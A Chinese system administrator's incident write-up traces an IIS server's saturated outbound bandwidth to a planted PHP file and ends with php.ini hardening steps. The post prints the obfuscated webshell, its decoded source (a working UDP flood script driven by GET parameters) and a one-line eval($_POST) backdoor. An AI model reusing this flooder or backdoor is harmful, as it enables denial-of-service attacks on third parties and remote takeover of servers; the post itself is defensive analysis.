w3wp.exe上傳流量帶寬占用很大問題的解決經(jīng)歷
近來有一兩臺服務器網(wǎng)絡常出現(xiàn)問題,甚至斷網(wǎng),PING直接大量掉包。重啟后正常。
后經(jīng)查,帶寬占用過高,出現(xiàn)問題時帶寬占用百分之一百。初步估計是有攻擊了,使用監(jiān)控觀察,有少量UDP攻擊(據(jù)經(jīng)驗如此量的UDP是不會占用一百M的,也十分疑惑)。啟動攻擊防御措施,但無濟于事。后查看單個網(wǎng)站帶寬,也沒有異常。
查看帶寬進出的吞吐量,當帶寬占用過高的時候,是發(fā)送字節(jié)吞吐量占用百分之一百。而接收幾乎為零。這不像是DDOS攻擊,不排除會有“下載攻擊”。搜索大型壓縮文件、視頻文件、應用程序并禁止下載。還是會出現(xiàn)類似的情況。
后裝入DU METER和某一個帶有流量監(jiān)控功能的軟件。等待“攻擊”再次到來。“攻擊”過后登陸后查看,確實是長時間占用了大量帶寬。查看是W3WP.EXE發(fā)送的流量比較多。達數(shù)十G之巨。記錄每一個W3WP.EXE進程的PID并使用IISAPP查看對應的程序池。結束發(fā)送流量最大的W3WP.EXE,再查看少了哪一個W3WP.EXE對應的程序池。跟著把當前程序池下所有的網(wǎng)站分池。設置每一個網(wǎng)站單獨一個程序池。再一次等待“攻擊”。等新的“攻擊”來后,再使用上面的方法查到是某一個程序池,這樣就查到了出問題的站點。仔細檢查后,網(wǎng)站內除了HTM文件、部分圖片和一個PHP文件外,僅有一個目錄里含有ASP文件。直接停止含ASP文件的目錄讀取權限。問題還是存在,所以把目光盯到PHP文件上。查看IIS日志后看到有這么一行日志2010-09-05 13:21:25 W3SVC83 60.191.XXX.XXX GET /help.php ip=222.87.129.XXX&port=80&time=7200 80 - 122.225.115.XXX Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 401 5 5 1726 410。 問題就已經(jīng)很清楚了。在瀏覽器里面輸入WWW.域名.COM/help.php ip=222.87.129.XXX&port=80&time=7200服務器帶寬占用立馬漲為百分之一百。
查到問題所在,分析PHP文件。
源文件:
<?php eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
解密后:
<?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print 'Flooded: $ip on port $rand <br><br>';
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://$ip', $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s n';
?>
<?php eval($_POST[ddos])?>
有了代碼,那工作原理也就很清楚了。
整體來說,不是受攻擊了。而是攻擊別人了。
解決辦法:
不允許PHP使用網(wǎng)絡,把php.ini里的allow_url_fopen 值改為allow_url_fopen = Off
如果不行
;extension=php_sockets.dll (限制使用sockets.dll)
;ignore_user_abort = On
這兩項前加上分號。
但默認這兩項就是這樣設置的。防止某些同志手動打開了的。
然后重啟IIS。
關鍵詞:w3wp.exe
閱讀本文后您有什么感想? 已有 人給出評價!
- 1
- 1
- 1
- 1
- 1
- 1